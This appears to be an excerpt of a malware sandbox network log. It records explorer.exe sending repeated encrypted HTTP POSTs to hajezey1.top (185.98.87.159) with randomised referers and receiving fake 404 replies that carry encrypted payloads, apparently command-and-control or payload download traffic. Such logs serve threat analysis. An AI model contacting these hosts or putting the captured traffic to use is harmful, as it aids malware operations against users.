Oct 29, 2021 17:55:23.680584908 CEST	2697	IN	Data Raw: ac 8b 0d 19 92 34 47 9a f0 64 4c 74 32 46 72 04 c2 73 81 c7 10 a4 2c 8e 12 91 f9 29 de c8 e4 76 42 18 48 0c 2b f7 2e 39 25 6d b4 3e 6d 51 7f ef 27 87 e9 d0 9c 47 ff 69 68 58 d0 85 b1 44 d4 84 85 63 b5 9a e6 0e bb 5e 98 7c 8d 72 25 b9 5b cc e4 9a Data Ascii: 4GdLt2Frs,)vBH+.9%m>mQ'GihXDc^\|r%[sW_S$GV~m(;R_9n}v\PRXkz<<hbj]CHXl3Lk*Dtkz{@tQotDoLQV~r"H^dQ`w@!
Oct 29, 2021 17:55:23.680612087 CEST	2698	IN	Data Raw: a8 33 4c 59 dd 3f 36 ff f8 ba a6 0d 08 ca b6 3f 30 c4 64 3e 60 84 c4 00 22 79 7c 5d 2a 25 45 b5 33 42 48 15 45 dd da 3b 85 8d a8 19 a2 54 2f cc de d4 f7 e9 35 83 34 bd d4 df 0f 15 b1 a0 33 93 f9 48 b6 62 94 fb f1 ed 21 29 09 09 19 dc a8 4d 84 8e Data Ascii: 3LY?6?0d>`"y\|]%E3BHE;T/543Hb!)MKxu}@ Uo58j[x"dl#;Xm:)`R"8Ui,ulolH?I~]Bm]v$rq]coi[v~/J:3ON^`zOuiQb
Oct 29, 2021 17:55:23.680638075 CEST	2700	IN	Data Raw: bb 22 46 3c c0 6e 3f a6 3c 09 bb 95 15 51 b3 ce b8 a8 18 d5 ee 92 e5 a7 8c 2d 25 2a f6 fc 2b ca ca eb dc 84 aa 38 f8 4b 4e d7 a7 09 88 a6 ac ed 67 e0 3a c3 c1 1b 76 55 24 b7 b7 1a 50 f2 2a 6c a2 3d 7d 4e 8b 42 5b 52 42 e7 7e a1 5b 4c fa bc ce 3f Data Ascii: "F<n?<Q-%+8KNg:vU$Pl=}NB[RB~[L?)5l}q2Z}$]YfU:#=fpGh>7s40dv34^W,Yw"JcDM)ehw#BTqS$p^4v* cM;$%~s-Aa]t
Oct 29, 2021 17:55:23.733889103 CEST	2702	IN	Data Raw: 34 a5 c5 6c 75 52 d8 bd 7c 23 b6 cd ea b9 7d 2c 96 8c e5 2b d6 9a 44 00 36 bf bf 27 a1 eb 29 95 ae 33 ea 4f ba 15 a8 42 21 72 e7 7f b2 80 87 e4 61 57 41 c9 f3 f0 22 20 f6 d5 90 ee 6d 03 97 12 3a 13 77 aa 33 3a 1a fc 92 5a 34 10 8c 90 3f ff 59 8a Data Ascii: 4luR\|#},+D6')3OB!raWA" m:w3:Z4?Yvo6!rm<G?O6~wgI"Vg^(+; LT7Y7lgmryO(^a@S}4@Rc7m&z0w.ckn`iuL?PR

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.6	49810	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:27.683465958 CEST	4474	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mowuyooy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 257 Host: hajezey1.top
Oct 29, 2021 17:55:27.685007095 CEST	4475	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 94 66 5d 02 c9 a1 c1 64 1f d6 d3 18 Data Ascii: lI\|FG2@i^mwmwu$f]d9af m zrc#R1up1U20^!#vBZc*uMS[K=9K-pXxF2ok=EwH;:o6H-s.\|9Qpt;]K\z39
Oct 29, 2021 17:55:27.762223005 CEST	4477	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.6	49811	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:27.861905098 CEST	4479	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://okikkrhv.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 336 Host: hajezey1.top
Oct 29, 2021 17:55:27.861927986 CEST	4479	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 95 66 5d 02 c8 a1 c1 64 12 d0 a2 7e Data Ascii: lI\|FG2@i^mwmwu$f]d~Keg9xSthGX!Jg)?/~W7BUcs}18~3JWA_R`E4f1#^x+,KmeF*#N[XMEtB3ugWS bC2?
Oct 29, 2021 17:55:27.948240042 CEST	4480	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.6	49813	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:28.031367064 CEST	4481	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pjlnqmhpvc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 123 Host: hajezey1.top
Oct 29, 2021 17:55:28.032511950 CEST	4481	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 92 66 5d 02 c8 a1 c1 64 01 bc b3 6b Data Ascii: lI\|FG2@i^mwmwu$f]dkwp\Hh><fAoJp %,&{
Oct 29, 2021 17:55:28.111543894 CEST	4486	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 8e 5f 04 25 18 f5 aa 85 b9 a5 13 ea 0e cb 2d e5 00 0c cc 52 a2 bd 71 b6 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82O_%-RqdP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.6	49817	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:28.716156006 CEST	4821	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hcgnyqptt.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 355 Host: hajezey1.top
Oct 29, 2021 17:55:28.717515945 CEST	4830	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 93 66 5d 02 c8 a1 c1 64 38 85 b4 20 Data Ascii: lI\|FG2@i^mwmwu$f]d8 D$2dJsj_=zfeTn#25sco-Y+EU_iRTFo^PzZf yn% dF-;}Vx1k`aHa~9-<Y\0XL
Oct 29, 2021 17:55:28.800472975 CEST	4903	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.6	49819	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:28.899774075 CEST	4904	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ithapmr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 367 Host: hajezey1.top
Oct 29, 2021 17:55:28.899869919 CEST	4905	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 90 66 5d 02 c8 a1 c1 64 43 cd cf 1f Data Ascii: lI\|FG2@i^mwmwu$f]dCid]'N\=N5gqAXa\|c#3 ~^6~"vSQ>[&Vn,^Dvz;KDk3;zz9+,EV?X}m%ZbBsvh<(7
Oct 29, 2021 17:55:28.979908943 CEST	4906	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.6	49820	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:29.064220905 CEST	4908	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gauqw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 130 Host: hajezey1.top
Oct 29, 2021 17:55:29.064240932 CEST	4908	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 91 66 5d 02 c8 a1 c1 64 12 92 ce 15 Data Ascii: lI\|FG2@i^mwmwu$f]dYl`^XI0+XkXev^Ygf?
Oct 29, 2021 17:55:29.144377947 CEST	4909	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.6	49822	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:29.255841017 CEST	4911	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vqosa.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 311 Host: hajezey1.top
Oct 29, 2021 17:55:29.255848885 CEST	4911	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8e 66 5d 02 c8 a1 c1 64 19 c9 86 69 Data Ascii: lI\|FG2@i^mwmwu$f]di-cccg;DI3J2t[Kh0~@{GJ=gze5?zSH3dV5?{lkM$1DH4oq%U3%jysWJ8ifKWt,Q5
Oct 29, 2021 17:55:29.337485075 CEST	4913	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da 68 22 bd c8 cb cf 3f ef c8 a9 a6 cc d5 02 47 71 98 66 3c 3d f8 bf cb 67 3f d8 97 24 a9 b9 fc f0 ba e8 57 2d c8 a1 11 19 af 7b 69 ad 72 5b 80 1c 97 36 db 64 11 82 f5 51 aa 3b c5 da a7 f1 7d 87 02 f3 35 43 25 11 00 ac 49 1d 02 a1 b7 28 e4 f0 f7 11 41 a6 a4 87 35 ce 19 c3 ce 85 d5 3a 94 d4 1b e4 2f 62 f1 22 27 c6 99 0a d7 d9 76 c5 89 10 c1 8b ba 97 28 35 bd a8 8f 59 9d 9b cf d5 f5 de 35 1f 98 92 f2 b2 6a 05 85 85 0a 9f 12 6f 03 62 53 b5 f8 80 99 8b 84 80 7f 1d b8 78 c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 c7 8e 07 e8 df 4a 17 7a 8d 42 14 7e 26 a0 81 ba 07 47 7d bb fb ce 3b 33 f0 82 6c 27 b4 e3 e4 ce 70 68 98 3b 6a fe da 3d b3 f5 3f 78 81 